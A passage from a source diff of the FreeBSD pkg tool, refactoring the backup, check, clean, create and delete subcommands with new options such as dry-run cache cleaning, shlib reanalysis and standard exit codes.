}
modified pkg/backup.c
@@ -27,13 +27,15 @@

#include <pkg.h>
#include <sysexits.h>
+
#include <unistd.h>

#include "pkgcli.h"

void
usage_backup(void)
{
-
	fprintf(stderr, "usage: pkg backup -[d|r] dest\n");
+
	fprintf(stderr, "usage: pkg backup -d <dest_file>\n");
+
	fprintf(stderr, "       pkg backup -r <src_file>\n\n");
	fprintf(stderr, "For more information see 'pkg help backup'.\n");
}

@@ -55,22 +57,25 @@ exec_backup(int argc, char **argv)
		return (EX_IOERR);

	if (argv[1][1] == 'd') {
-
		printf("Dumping database...");
+
		if (isatty(fileno(stdin)))
+
				printf("Dumping database...\n");
		if (pkgdb_dump(db, dest) == EPKG_FATAL)
-
			return (EPKG_FATAL);
+
			return (EX_IOERR);

-
		printf("done\n");
+
		if (isatty(fileno(stdin)))
+
			printf("done\n");
	}

	if (argv[1][1] == 'r') {
-
		printf("Restoring database...");
+
		if (isatty(fileno(stdin)))
+
			printf("Restoring database...\n");
		if (pkgdb_load(db, dest) == EPKG_FATAL)
-
			return (EPKG_FATAL);
-
		printf("done\n");
+
			return (EX_IOERR);
+
		if (isatty(fileno(stdin)))
+
			printf("done\n");
	}

	pkgdb_close(db);

-

-
	return (EPKG_OK);
+
	return (EX_OK);
}
modified pkg/check.c
@@ -71,9 +71,9 @@ check_deps(struct pkgdb *db, struct pkg *p, struct deps_head *dh)

	while (pkg_deps(p, &dep) == EPKG_OK) {
		/* do we have a missing dependency? */
-
		if (pkg_is_installed(db, pkg_dep_get(dep, PKG_DEP_ORIGIN)) != EPKG_OK) {
+
		if (pkg_is_installed(db, pkg_dep_origin(dep)) != EPKG_OK) {
			printf("%s has a missing dependency: %s\n", origin,
-
			       pkg_dep_get(dep, PKG_DEP_ORIGIN)),
+
			       pkg_dep_origin(dep)),
			add_missing_dep(dep, dh, &nbpkgs);
		}
	}
@@ -90,7 +90,7 @@ add_missing_dep(struct pkg_dep *d, struct deps_head *dh, int *nbpkgs)
	assert(d != NULL);

	/* do not add duplicate entries in the queue */
-
	origin = pkg_dep_get(d, PKG_DEP_ORIGIN);
+
	origin = pkg_dep_origin(d);

	STAILQ_FOREACH(e, dh, next)
		if (strcmp(e->origin, origin) == 0)
@@ -99,9 +99,9 @@ add_missing_dep(struct pkg_dep *d, struct deps_head *dh, int *nbpkgs)
	if ((e = calloc(1, sizeof(struct deps_entry))) == NULL)
		err(1, "calloc(deps_entry)");

-
	e->name = strdup(pkg_dep_get(d, PKG_DEP_NAME));
-
	e->version = strdup(pkg_dep_get(d, PKG_DEP_VERSION));
-
	e->origin = strdup(pkg_dep_get(d, PKG_DEP_ORIGIN));
+
	e->name = strdup(pkg_dep_name(d));
+
	e->version = strdup(pkg_dep_version(d));
+
	e->origin = strdup(pkg_dep_origin(d));

	(*nbpkgs)++;

@@ -143,23 +143,26 @@ fix_deps(struct pkgdb *db, struct deps_head *dh, int nbpkgs, bool yes)
		pkgs[i++] = e->origin;

	if (pkgdb_open(&db, PKGDB_REMOTE) != EPKG_OK)
-
		return (EPKG_FATAL);
+
		return (EPKG_ENODB);

-
	if (pkg_jobs_new(&jobs, PKG_JOBS_INSTALL, db) != EPKG_OK)
+
	if (pkg_jobs_new(&jobs, PKG_JOBS_INSTALL, db, false, false) != EPKG_OK)
		free(pkgs);

-
	if ((it = pkgdb_query_installs(db, MATCH_EXACT, nbpkgs, pkgs, NULL, false)) == NULL) {
+
	if ((it = pkgdb_query_installs(db, MATCH_EXACT, nbpkgs, pkgs, NULL, false, false)) == NULL) {
		free(pkgs);
		pkg_jobs_free(jobs);
	}

	while (pkgdb_it_next(it, &pkg, PKG_LOAD_BASIC|PKG_LOAD_DEPS) == EPKG_OK) {
+
		pkg_set(pkg, PKG_AUTOMATIC, true);
		pkg_jobs_add(jobs, pkg);
		pkg = NULL;
	}

	if (pkg_jobs_is_empty(jobs)) {
-
		printf("\n>>> Not able to find packages for installation.\n\n");
+
		printf("\n>>> Unable to find packages for installation.\n\n");
+
		pkg_jobs_free(jobs);
+
		pkgdb_it_free(it);
		return (EPKG_FATAL);
	}

@@ -172,7 +175,7 @@ fix_deps(struct pkgdb *db, struct deps_head *dh, int nbpkgs, bool yes)
		yes = query_yesno("\n>>> Try to fix the missing dependencies [y/N]: ");

	if (yes == true)
-
		pkg_jobs_apply(jobs, 0);
+
		pkg_jobs_apply(jobs);

	free(pkgs);
	pkg_free(pkg);
@@ -221,8 +224,8 @@ check_summary(struct pkgdb *db, struct deps_head *dh)
void
usage_check(void)
{
-
	fprintf(stderr, "usage: pkg check [-dsr] [-vy] [-a | -gxX <pattern>]\n");
-
	fprintf(stderr, "\nFor more information see 'pkg help check'.\n");
+
	fprintf(stderr, "usage: pkg check [-Bdsr] [-vy] [-a | -gxX <pattern>]\n\n");
+
	fprintf(stderr, "For more information see 'pkg help check'.\n");
}

int
@@ -233,65 +236,75 @@ exec_check(int argc, char **argv)
	struct pkgdb *db = NULL;
	match_t match = MATCH_EXACT;
	int flags = PKG_LOAD_BASIC;
-
	int retcode = EX_OK;
	int ret;
	int ch;
	bool yes = false;
	bool dcheck = false;
	bool checksums = false;
	bool recompute = false;
+
	bool reanalyse_shlibs = false;
+
	bool shlibs;
	int nbpkgs = 0;
	int i;
	int verbose = 0;

	struct deps_head dh = STAILQ_HEAD_INITIALIZER(dh);

-
	while ((ch = getopt(argc, argv, "yagdxXsrv")) != -1) {
+
	while ((ch = getopt(argc, argv, "yagdBxXsrv")) != -1) {
		switch (ch) {
-
			case 'a':
-
				match = MATCH_ALL;
-
				break;
-
			case 'x':
-
				match = MATCH_REGEX;
-
				break;
-
			case 'X':
-
				match = MATCH_EREGEX;
-
				break;
-
			case 'g':
-
				match = MATCH_GLOB;
-
				break;
-
			case 'y':
-
				yes = true;
-
				break;
-
			case 'd':
-
				dcheck = true;
-
				flags |= PKG_LOAD_DEPS;
-
				break;
-
			case 's':
-
				checksums = true;
-
				flags |= PKG_LOAD_FILES;
-
				break;
-
			case 'r':
-
				recompute = true;
-
				flags |= PKG_LOAD_FILES;
-
				if (geteuid() != 0)
-
					errx(EX_USAGE, "Needs to be root to recompute the checksums and size");
-
				break;
-
			case 'v':
-
				verbose = 1;
-
				break;
-
			default:
-
				usage_check();
-
				return (EX_USAGE);
+
		case 'a':
+
			match = MATCH_ALL;
+
			break;
+
		case 'x':
+
			match = MATCH_REGEX;
+
			break;
+
		case 'X':
+
			match = MATCH_EREGEX;
+
			break;
+
		case 'g':
+
			match = MATCH_GLOB;
+
			break;
+
		case 'y':
+
			yes = true;
+
			break;
+
		case 'd':
+
			dcheck = true;
+
			flags |= PKG_LOAD_DEPS;
+
			break;
+
		case 'B':
+
			pkg_config_bool(PKG_CONFIG_SHLIBS, &shlibs);
+
			if (!shlibs)
+
				errx(EX_USAGE, "reanalyzing shlibs requires SHLIBS"
+
					       " in pkg.conf.");
+
			reanalyse_shlibs = true;
+
			flags |= PKG_LOAD_FILES;
+
			break;
+
		case 's':
+
			checksums = true;
+
			flags |= PKG_LOAD_FILES;
+
			break;
+
		case 'r':
+
			recompute = true;
+
			flags |= PKG_LOAD_FILES;
+
			if (geteuid() != 0)
+
				errx(EX_USAGE, "recomputing the checksums"
+
				    " and size can only be done as root");
+
			break;
+
		case 'v':
+
			verbose = 1;
+
			break;
+
		default:
+
			usage_check();
+
			return (EX_USAGE);
		}
	}
	argc -= optind;
	argv += optind;

	/* Default to all packages if no pkg provided */
-
	if (argc == 0 && (dcheck || checksums || recompute)) {
+
	if (argc == 0 && (dcheck || checksums || recompute || reanalyse_shlibs)) {
		match = MATCH_ALL;
-
	} else if ((argc == 0 && match != MATCH_ALL) || !(dcheck || checksums || recompute)) {
+
	} else if ((argc == 0 && match != MATCH_ALL) || !(dcheck || checksums || recompute || reanalyse_shlibs)) {
		usage_check();
		return (EX_USAGE);
	}
@@ -301,7 +314,7 @@ exec_check(int argc, char **argv)
		if (geteuid() == 0)
			return (EX_IOERR);

-
		return (retcode);
+
		return (EX_OK);
	}

	if (ret != EPKG_OK)
@@ -330,13 +343,19 @@ exec_check(int argc, char **argv)
			}
			if (recompute) {
				if (verbose)
-
					printf("Recomputing size and sums: %s\n", pkgname);
+
					printf("Recomputing size and checksums: %s\n", pkgname);
				pkg_recompute(db, pkg);
			}
+
			if (reanalyse_shlibs) {
+
				if (verbose)
+
					printf("Reanalyzing files for shlibs: %s\n", pkgname);
+
				if (pkgdb_reanalyse_shlibs(db, pkg) != EPKG_OK)
+
					printf("Failed to reanalyse for shlibs: %s\n", pkgname);
+
			}
		}

		if (geteuid() == 0 && nbpkgs > 0) {
-
			if (yes == false) 
+
			if (yes == false)
				pkg_config_bool(PKG_CONFIG_ASSUME_ALWAYS_YES, &yes);

			printf("\n>>> Missing package dependencies were detected.\n");
@@ -344,6 +363,10 @@ exec_check(int argc, char **argv)
			ret = fix_deps(db, &dh, nbpkgs, yes);
			if (ret == EPKG_OK)
				check_summary(db, &dh);
+
			else if (ret == EPKG_ENODB) {
+
				db = NULL;
+
				return (EX_IOERR);
+
			}
		}
		pkgdb_it_free(it);
		i++;
@@ -353,5 +376,5 @@ exec_check(int argc, char **argv)
	pkg_free(pkg);
	pkgdb_close(db);

-
	return (retcode);
+
	return (EX_OK);
}
modified pkg/clean.c
@@ -25,43 +25,222 @@
 */

#include <sys/stat.h>
+
#include <sys/queue.h>

+
#include <assert.h>
#include <err.h>
#include <fts.h>
#include <pkg.h>
#include <stdbool.h>
#include <string.h>
+
#include <sysexits.h>
#include <unistd.h>

#include "pkgcli.h"

+
struct deletion_list {
+
	STAILQ_ENTRY(deletion_list) next;
+
	unsigned	 reason;
+
	const char	*path;
+
	const char	*origin;
+
	const char	*newname;
+
	const char	*newversion;
+
	char		 data[0];
+
};
+
#define OUT_OF_DATE	(1U<<0)
+
#define REMOVED		(1U<<1)
+

+
STAILQ_HEAD(dl_head, deletion_list);
+

+
static int
+
add_to_dellist(struct dl_head *dl,  unsigned reason, const char *path,
+
	       const char *origin, const char *newname, const char *newversion)
+
{
+
	struct deletion_list	*dl_entry;
+
	size_t			 alloc_len;
+
	size_t			 offset;
+

+
	assert(path != NULL);
+
	assert(origin != NULL);
+

+
	alloc_len = sizeof(struct deletion_list) + strlen(path) +
+
		strlen(origin) + 2;
+
	if (newname != NULL)
+
		alloc_len += strlen(newname) + 1;
+
	if (newversion != NULL)
+
		alloc_len += strlen(newversion) + 1;
+

+
	dl_entry = calloc(1, alloc_len);
+
	if (dl_entry == NULL) {
+
		warn("adding deletion list entry");
+
		return (EPKG_FATAL);
+
	}
+

+
	dl_entry->reason = reason;
+

+
	offset = 0;
+

+
	alloc_len = strlen(path) + 1;
+
	strlcpy(&(dl_entry->data[offset]), path, alloc_len);
+
	dl_entry->path = &(dl_entry->data[offset]);
+
	offset = alloc_len;
+

+
	alloc_len = strlen(origin) + 1;
+
	strlcpy(&(dl_entry->data[offset]), origin, alloc_len);
+
	dl_entry->origin = &(dl_entry->data[offset]);
+
	offset += alloc_len;
+

+
	if (newname != NULL) {
+
		alloc_len = strlen(newname) + 1;
+
		strlcpy(&(dl_entry->data[offset]), newname, alloc_len);
+
		dl_entry->newname = &(dl_entry->data[offset]);
+
		offset += alloc_len;
+
	} else
+
		dl_entry->newname = NULL;
+

+
	if (newversion != NULL) {
+
		alloc_len = strlen(newversion) + 1;
+
		strlcpy(&(dl_entry->data[offset]), newversion, alloc_len);
+
		dl_entry->newversion = &(dl_entry->data[offset]);
+
		offset += alloc_len;
+
	} else
+
		dl_entry->newversion = NULL;
+

+
	STAILQ_INSERT_TAIL(dl, dl_entry, next);
+

+
	return (EPKG_OK);
+
}
+

+
static void
+
free_dellist(struct dl_head *dl)
+
{
+
	struct deletion_list	*dl_entry;
+

+
	while (!STAILQ_EMPTY(dl)) {
+
		dl_entry = STAILQ_FIRST(dl);
+
		STAILQ_REMOVE_HEAD(dl, next);
+
		free(dl_entry);
+
	}
+
}
+

+
static void
+
display_dellist(struct dl_head *dl, const char *cachedir)
+
{
+
	struct deletion_list	*dl_entry;
+
	const char		*relpath;
+

+
	printf("The following package files will be deleted "
+
	       "from the cache directory\n%s:\n\n", cachedir);
+

+
	printf("%-30s %-20s %s\n", "Package:", "Origin:", "Reason:");
+
	STAILQ_FOREACH(dl_entry, dl, next) {
+
		if (strlen(cachedir) + 1 < strlen(dl_entry->path)) {
+
			relpath = dl_entry->path + strlen(cachedir);
+
			if (relpath[0] == '/')
+
				relpath++;
+
		} else
+
			relpath = dl_entry->path;
+
		
+
		printf("%-30s %-20s ", relpath, dl_entry->origin);
+

+
		switch (dl_entry->reason) {
+
		case OUT_OF_DATE:
+
			printf("Superseded by %s-%s\n", 
+
			    dl_entry->newname != NULL ?
+
			       dl_entry->newname :
+
			       "(unknown)",
+
			    dl_entry->newversion != NULL ?
+
			       dl_entry->newversion :
+
			       "(unknown)");
+
			break;
+
		case REMOVED:
+
			printf("Removed from repository\n");
+
			break;
+
		default:	/* not reached */
+
			break;
+
		}
+
	}
+
}
+

+
static int
+
delete_dellist(struct dl_head *dl)
+
{
+
	struct deletion_list	*dl_entry;
+
	int			retcode = EX_OK;
+
	int			count = 0;
+

+
	if (!quiet)
+
		printf("Deleting:\n");
+

+
	STAILQ_FOREACH(dl_entry, dl, next) {
+
		if (!quiet)
+
			printf("\t%s\n", dl_entry->path);
+
		if (unlink(dl_entry->path) != 0) {
+
			warn("unlink(%s)", dl_entry->path);
+
			count++;
+
			retcode = EX_SOFTWARE;
+
		}
+
	}
+

+
	if (!quiet) {
+
		if (retcode == EX_OK)
+
			printf("All done\n");
+
		else 
+
			printf("%d package%s could not be deleted\n",
+
			       count, count > 1 ? "s" : "");
+
	}
+
	return (retcode);
+
}
+

void
usage_clean(void)
{
-
	fprintf(stderr, "usage: pkg clean\n");
+
	fprintf(stderr, "usage: pkg [-nqy] clean\n\n");
+
	fprintf(stderr, "For more information see 'pkg help clean'.\n");
}

int
exec_clean(int argc, char **argv)
{
-
	struct pkgdb *db = NULL;
-
	struct pkgdb_it *it = NULL;
-
	struct pkg *pkg = NULL;
-
	struct pkg *p = NULL;
-
	FTS *fts = NULL;
-
	FTSENT *ent = NULL;
-
	const char *cachedir;
-
	char *paths[2];
-
	char *repopath;
-
	bool to_delete;
-
	int retcode = 1;
-
	int ret;
-

-
	(void)argc;
-
	(void)argv;
+
	struct pkgdb	*db = NULL;
+
	struct pkgdb_it	*it = NULL;
+
	struct pkg	*pkg = NULL;
+
	struct pkg	*p = NULL;
+
	FTS		*fts = NULL;
+
	FTSENT		*ent = NULL;
+
	struct dl_head	dl = STAILQ_HEAD_INITIALIZER(dl);
+
	const char	*cachedir;
+
	char		*paths[2];
+
	char		*repopath;
+
	bool		 dry_run = false;
+
	bool		 yes;
+
	int		 retcode = EX_SOFTWARE;
+
	int		 ret;
+
	int		 ch;
+

+
	pkg_config_bool(PKG_CONFIG_ASSUME_ALWAYS_YES, &yes);
+

+
	while ((ch = getopt(argc, argv, "nqy")) != -1) {
+
		switch (ch) {
+
		case 'n':
+
			dry_run = true;
+
			break;
+
		case 'q':
+
			quiet = true;
+
			break;
+
		case 'y':
+
			yes = true;
+
			break;
+
		default:
+
			usage_update();
+
			return (EX_USAGE);
+
		}
+
	}
+
	argc -= optind;
+
	argv += optind;

	if (pkg_config_string(PKG_CONFIG_CACHEDIR, &cachedir) != EPKG_OK) {
-
		warnx("Cant get cachedir config entry");
+
		warnx("Cannot get cachedir config entry");
		return 1;
	}

@@ -77,6 +256,8 @@ exec_clean(int argc, char **argv)
		goto cleanup;
	}

+
	/* Build the list of out-of-date or obsolete packages */
+

	while ((ent = fts_read(fts)) != NULL) {
		const char *origin, *pkgrepopath;

@@ -87,44 +268,75 @@ exec_clean(int argc, char **argv)
		if (repopath[0] == '/')
			repopath++;

-
		if (pkg_open(&pkg, ent->fts_path, NULL) != EPKG_OK) {
-
			warnx("skipping %s", ent->fts_path);
+
		if (pkg_open(&pkg, ent->fts_path) != EPKG_OK) {
+
			if (!quiet)
+
				warnx("skipping %s", ent->fts_path);
			continue;
		}

		pkg_get(pkg, PKG_ORIGIN, &origin);
-
		it = pkgdb_search(db, origin, MATCH_EXACT, FIELD_ORIGIN, NULL);
+
		it = pkgdb_search(db, origin, MATCH_EXACT, FIELD_ORIGIN,
+
		    FIELD_NONE, NULL);

		if (it == NULL) {
-
			warnx("skipping %s", ent->fts_path);
+
			if (!quiet)
+
				warnx("skipping %s", ent->fts_path);
			continue;
		}

-
		ret = pkgdb_it_next(it, &p, PKG_LOAD_BASIC);
-
		to_delete = false;
-
		pkg_get(p, PKG_REPOPATH, &pkgrepopath);
-
		if (ret == EPKG_FATAL) {
-
			warnx("skipping %s", ent->fts_path);
+
		if ((ret = pkgdb_it_next(it, &p, PKG_LOAD_BASIC)) ==
+
		    EPKG_FATAL) {
+
			if (!quiet)
+
				warnx("skipping %s", ent->fts_path);
			continue;
-
		} else if (ret == EPKG_END) {
-
			to_delete = true;
-
			printf("%s does not exist anymore, deleting\n", repopath);
+
		}
+

+
		pkg_get(p, PKG_REPOPATH, &pkgrepopath);
+
		if (ret == EPKG_END) {
+
			ret = add_to_dellist(&dl, REMOVED, ent->fts_path,
+
					     origin, NULL, NULL);
		} else if (strcmp(repopath, pkgrepopath)) {
-
			printf("%s is out-of-date, deleting\n", repopath);
-
			to_delete = true;
+
			const char	*newname;
+
			const char	*newversion;
+

+
			pkg_get(p, 
+
				PKG_NAME,    &newname,
+
				PKG_VERSION, &newversion);
+

+
			ret = add_to_dellist(&dl, OUT_OF_DATE, ent->fts_path,
+
					     origin, newname, newversion);
		}

-
		if (to_delete == true) {
-
			if (unlink(ent->fts_path) != 0)
-
				warn("unlink(%s)", ent->fts_path);
+
		if (ret != EPKG_OK && ret != EPKG_END) {
+
			retcode = EX_OSERR; /* out of memory */
+
			goto cleanup;
		}

		pkgdb_it_free(it);
	}

-
	retcode = 0;
+
	if (STAILQ_EMPTY(&dl)) {
+
		if (!quiet)
+
			printf("Nothing to do.\n");
+
		retcode = EX_OK;
+
		goto cleanup;
+
	}
+

+
	if (dry_run || !yes || !quiet)
+
		display_dellist(&dl, cachedir);
+

+
	if (!dry_run) {
+
		if (!yes)
+
			yes = query_yesno(
+
				"\nProceed with cleaning cache [y/N]: ");
+
		if (yes)
+
			retcode = delete_dellist(&dl);
+
	} else 
+
		retcode = EX_OK;
+

+
cleanup:
+
	free_dellist(&dl);

-
	cleanup:
	if (pkg != NULL)
		pkg_free(pkg);
	if (p != NULL)
modified pkg/create.c
@@ -3,7 +3,7 @@
 * Copyright (c) 2011-2012 Julien Laffaye <jlaffaye@FreeBSD.org>
 * Copyright (c) 2011 Will Andrews <will@FreeBSD.org>
 * All rights reserved.
-
 * 
+
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
@@ -13,7 +13,7 @@
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
-
 * 
+
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR(S) ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
@@ -27,6 +27,7 @@
 */

#include <sys/param.h>
+
#include <sys/queue.h>

#include <err.h>
#include <stdio.h>
@@ -37,88 +38,117 @@

#include "pkgcli.h"

+
struct pkg_entry {
+
	struct pkg *pkg;
+
	STAILQ_ENTRY(pkg_entry) next;
+
};
+

+
STAILQ_HEAD(pkg_head, pkg_entry);
+

void
usage_create(void)
{
-
	fprintf(stderr, "usage: pkg create [-gx] [-n] [-r rootdir] [-m manifest] [-f format] [-o outdir] "
-
			"<pkg> ...\n");
-
	fprintf(stderr, "       pkg create -a [-n] [-r rootdir] [-m manifest] [-f format] [-o outdir]\n\n");
+
	fprintf(stderr, "usage: pkg create [-n] [-f format] [-o outdir] "
+
		"[-p plist] [-r rootdir] -m manifestdir\n");
+
	fprintf(stderr, "       pkg create [-gnXx] [-f format] [-o outdir] "
+
		"[-r rootdir] pkg-name ...\n");
+
	fprintf(stderr, "       pkg create [-n] [-f format] [-o outdir] "
+
		"[-r rootdir] -a\n\n");
	fprintf(stderr, "For more information see 'pkg help create'.\n");
}

static int
-
pkg_create_matches(int argc, char **argv, match_t match, pkg_formats fmt, const char * const outdir, const char * const rootdir, bool overwrite)
+
pkg_create_matches(int argc, char **argv, match_t match, pkg_formats fmt,
+
    const char * const outdir, const char * const rootdir, bool overwrite)
{
	int i, ret = EPKG_OK, retcode = EPKG_OK;
	struct pkgdb *db = NULL;
	struct pkgdb_it *it = NULL;
	struct pkg *pkg = NULL;
+
	struct pkg_head head = STAILQ_HEAD_INITIALIZER(head);
+
	struct pkg_entry *e = NULL;
	const char *name, *version;
	char pkgpath[MAXPATHLEN];
-
	int query_flags = PKG_LOAD_DEPS | PKG_LOAD_FILES | PKG_LOAD_CATEGORIES |
-
	    PKG_LOAD_DIRS | PKG_LOAD_SCRIPTS | PKG_LOAD_OPTIONS |
-
	    PKG_LOAD_MTREE | PKG_LOAD_LICENSES | PKG_LOAD_USERS |
-
	    PKG_LOAD_GROUPS | PKG_LOAD_SHLIBS;
+
	int query_flags = PKG_LOAD_DEPS | PKG_LOAD_FILES | 
+
	    PKG_LOAD_CATEGORIES | PKG_LOAD_DIRS | PKG_LOAD_SCRIPTS |
+
	    PKG_LOAD_OPTIONS | PKG_LOAD_MTREE | PKG_LOAD_LICENSES |
+
	    PKG_LOAD_USERS | PKG_LOAD_GROUPS | PKG_LOAD_SHLIBS;
+
	const char *format;
+
	bool foundone;

	if (pkgdb_open(&db, PKGDB_DEFAULT) != EPKG_OK) {
		pkgdb_close(db);
		return (EX_IOERR);
	}

-
	if (match != MATCH_ALL) {
-
		for (i = 0;i < argc; i++) {
-
			if ((it = pkgdb_query(db, argv[i], match)) == NULL) {
+
	switch (fmt) {
+
	case TXZ:
+
		format = "txz";
+
		break;
+
	case TBZ:
+
		format = "tbz";
+
		break;
+
	case TGZ:
+
		format = "tgz";
+
		break;
+
	case TAR:
+
		format = "tar";
+
		break;
+
	}
+

+
	for (i = 0; i < argc || match == MATCH_ALL; i++) {
+
		if (match == MATCH_ALL) {
+
			printf("Loading package list...\n");
+
			if ((it = pkgdb_query(db, NULL, match)) == NULL)
				goto cleanup;
-
			}
-
			while ((ret = pkgdb_it_next(it, &pkg, query_flags)) == EPKG_OK) {
-
				pkg_get(pkg, PKG_NAME, &name, PKG_VERSION, &version);
-
				if (!overwrite) {
-
					const char *format;
-
					switch (fmt) {
-
						case TXZ:
-
							format = "txz";
-
							break;
-
						case TBZ:
-
							format = "tbz";
-
							break;
-
						case TGZ:
-
							format = "tgz";
-
							break;
-
						case TAR:
-
							format = "tar";
-
							break;
-
					}
-

-
					snprintf(pkgpath, MAXPATHLEN, "%s/%s-%s.%s", outdir, name, version, format);
-
					if (access(pkgpath, F_OK) == 0) {
-
						printf("%s-%s already packaged skipping...\n", name, version);
-
						continue;
-
					}
-
				}
-
				printf("Creating package for %s-%s\n", name, version);
-
				if (pkg_create_installed(outdir, fmt, rootdir, pkg) != EPKG_OK)
-
					retcode++;
-
			}
-
		}
-
	} else {
-
		if ((it = pkgdb_query(db, NULL, match)) == NULL) {
-
			goto cleanup;
-
		}
+
			match = !MATCH_ALL;
+
		} else
+
			if ((it = pkgdb_query(db, argv[i], match)) == NULL)
+
				goto cleanup;
+

+
		foundone = false;
		while ((ret = pkgdb_it_next(it, &pkg, query_flags)) == EPKG_OK) {
-
			pkg_get(pkg, PKG_NAME, &name, PKG_VERSION, &version);
-
			printf("Creating package for %s-%s\n", name, version);
-
			if (pkg_create_installed(outdir, fmt, rootdir, pkg) != EPKG_OK)
-
				retcode++;
+
			if ((e = malloc(sizeof(struct pkg_entry))) == NULL)
+
				err(1, "malloc(pkg_entry)");
+
			e->pkg = pkg;
+
			pkg = NULL;
+
			STAILQ_INSERT_TAIL(&head, e, next);
+
			foundone = true;
		}
+
		if (!foundone)
+
			warnx("No installed package matching \"%s\" found\n",
+
			    argv[i]);
+

+
		pkgdb_it_free(it);
+
		if (ret != EPKG_END)
+
			retcode++;
	}

-
cleanup:
-
	if (ret != EPKG_END) {
-
		retcode++;
+
	while (!STAILQ_EMPTY(&head)) {
+
		e = STAILQ_FIRST(&head);
+
		STAILQ_REMOVE_HEAD(&head, next);
+

+
		pkg_get(e->pkg, PKG_NAME, &name, PKG_VERSION, &version);
+
		if (!overwrite) {
+
			snprintf(pkgpath, MAXPATHLEN, "%s/%s-%s.%s", outdir,
+
			    name, version, format);
+
			if (access(pkgpath, F_OK) == 0) {
+
				printf("%s-%s already packaged skipping...\n",
+
				    name, version);
+
				pkg_free(e->pkg);
+
				free(e);
+
				continue;
+
			}
+
		}
+
		printf("Creating package for %s-%s\n", name, version);
+
		if (pkg_create_installed(outdir, fmt, rootdir, e->pkg) !=
+
		    EPKG_OK)
+
			retcode++;
+
		pkg_free(e->pkg);
+
		free(e);
	}

-
	pkg_free(pkg);
-
	pkgdb_it_free(it);
+
cleanup:
	pkgdb_close(db);

	return (retcode);
@@ -142,39 +172,43 @@ exec_create(int argc, char **argv)
	const char *format = NULL;
	const char *rootdir = NULL;
	const char *manifestdir = NULL;
+
	char *plist = NULL;
	bool overwrite = true;
	pkg_formats fmt;
	int ch;

-
	while ((ch = getopt(argc, argv, "agxXf:r:m:o:n")) != -1) {
+
	while ((ch = getopt(argc, argv, "agxXf:r:m:o:np:")) != -1) {
		switch (ch) {
-
			case 'a':
-
				match = MATCH_ALL;
-
				break;
-
			case 'g':
-
				match = MATCH_GLOB;
-
				break;
-
			case 'x':
-
				match = MATCH_REGEX;
-
				break;
-
			case 'X':
-
				match = MATCH_EREGEX;
-
				break;
-
			case 'f':
-
				format = optarg;
-
				break;
-
			case 'o':
-
				outdir = optarg;
-
				break;
-
			case 'r':
-
				rootdir = optarg;
-
				break;
-
			case 'm':
-
				manifestdir = optarg;
-
				break;
-
			case 'n':
-
				overwrite = false;
-
				break;
+
		case 'a':
+
			match = MATCH_ALL;
+
			break;
+
		case 'g':
+
			match = MATCH_GLOB;
+
			break;
+
		case 'x':
+
			match = MATCH_REGEX;
+
			break;
+
		case 'X':
+
			match = MATCH_EREGEX;
+
			break;
+
		case 'f':
+
			format = optarg;
+
			break;
+
		case 'o':
+
			outdir = optarg;
+
			break;
+
		case 'r':
+
			rootdir = optarg;
+
			break;
+
		case 'm':
+
			manifestdir = optarg;
+
			break;
+
		case 'n':
+
			overwrite = false;
+
			break;
+
		case 'p':
+
			plist = optarg;
+
			break;
		}
	}
	argc -= optind;
@@ -208,8 +242,10 @@ exec_create(int argc, char **argv)
	}

	if (manifestdir == NULL)
-
		return pkg_create_matches(argc, argv, match, fmt, outdir, rootdir, overwrite) == EPKG_OK ? EXIT_SUCCESS : EXIT_FAILURE;
+
		return (pkg_create_matches(argc, argv, match, fmt, outdir,
+
		    rootdir, overwrite) == EPKG_OK ? EX_OK : EX_SOFTWARE);
	else
-
		return pkg_create_fakeroot(outdir, fmt, rootdir, manifestdir) == EPKG_OK ? EXIT_SUCCESS : EXIT_FAILURE;
+
		return (pkg_create_staged(outdir, fmt, rootdir, manifestdir,
+
		    plist) == EPKG_OK ? EX_OK : EX_SOFTWARE);
}

modified pkg/delete.c
@@ -28,6 +28,7 @@

#include <err.h>
#include <stdio.h>
+
#include <string.h>
#include <sysexits.h>
#include <unistd.h>
#include <libutil.h>
@@ -39,8 +40,8 @@
void
usage_delete(void)
{
-
	fprintf(stderr, "usage: pkg delete [-yqgxXfr] <pkg-name> <...>\n");
-
	fprintf(stderr, "       pkg delete [-yq] -a\n\n");
+
	fprintf(stderr, "usage: pkg delete [-fgnqRXxy] <pkg-name> ...\n");
+
	fprintf(stderr, "       pkg delete [-nqy] -a\n\n");
	fprintf(stderr, "For more information see 'pkg help delete'.\n");
}

@@ -54,40 +55,46 @@ exec_delete(int argc, char **argv)
	match_t match = MATCH_EXACT;
	int ch;
	int flags = PKG_LOAD_BASIC;
-
	int force = 0;
+
	bool force = false;
	bool yes = false;
-
	int retcode = 1;
+
	bool dry_run = false;
+
	int retcode = EX_SOFTWARE;
	int recursive = 0;
+
	bool haspkg = false;
+
	const char *origin;

-
	while ((ch = getopt(argc, argv, "agxXfyr")) != -1) {
+
	while ((ch = getopt(argc, argv, "afgnqRXxy")) != -1) {
		switch (ch) {
-
			case 'a':
-
				match = MATCH_ALL;
-
				break;
-
			case 'g':
-
				match = MATCH_GLOB;
-
				break;
-
			case 'x':
-
				match = MATCH_REGEX;
-
				break;
-
			case 'X':
-
				match = MATCH_EREGEX;
-
				break;
-
			case 'f':
-
				force = 1;
-
				break;
-
			case 'q':
-
				quiet = true;
-
				break;
-
			case 'y':
-
				yes = true;
-
				break;
-
			case 'r':
-
				recursive = 1;
-
				break;
-
			default:
-
				usage_delete();
-
				return (EX_USAGE);
+
		case 'a':
+
			match = MATCH_ALL;
+
			break;
+
		case 'f':
+
			force = true;
+
			break;
+
		case 'g':
+
			match = MATCH_GLOB;
+
			break;
+
		case 'n':
+
			dry_run = true;
+
			break;
+
		case 'q':
+
			quiet = true;
+
			break;
+
		case 'R':
+
			recursive = 1;
+
			break;
+
		case 'X':
+
			match = MATCH_EREGEX;
+
			break;
+
		case 'x':
+
			match = MATCH_REGEX;
+
			break;
+
		case 'y':
+
			yes = true;
+
			break;
+
		default:
+
			usage_delete();
+
			return (EX_USAGE);
		}
	}

@@ -108,51 +115,65 @@ exec_delete(int argc, char **argv)
		return (EPKG_FATAL);
	}

-
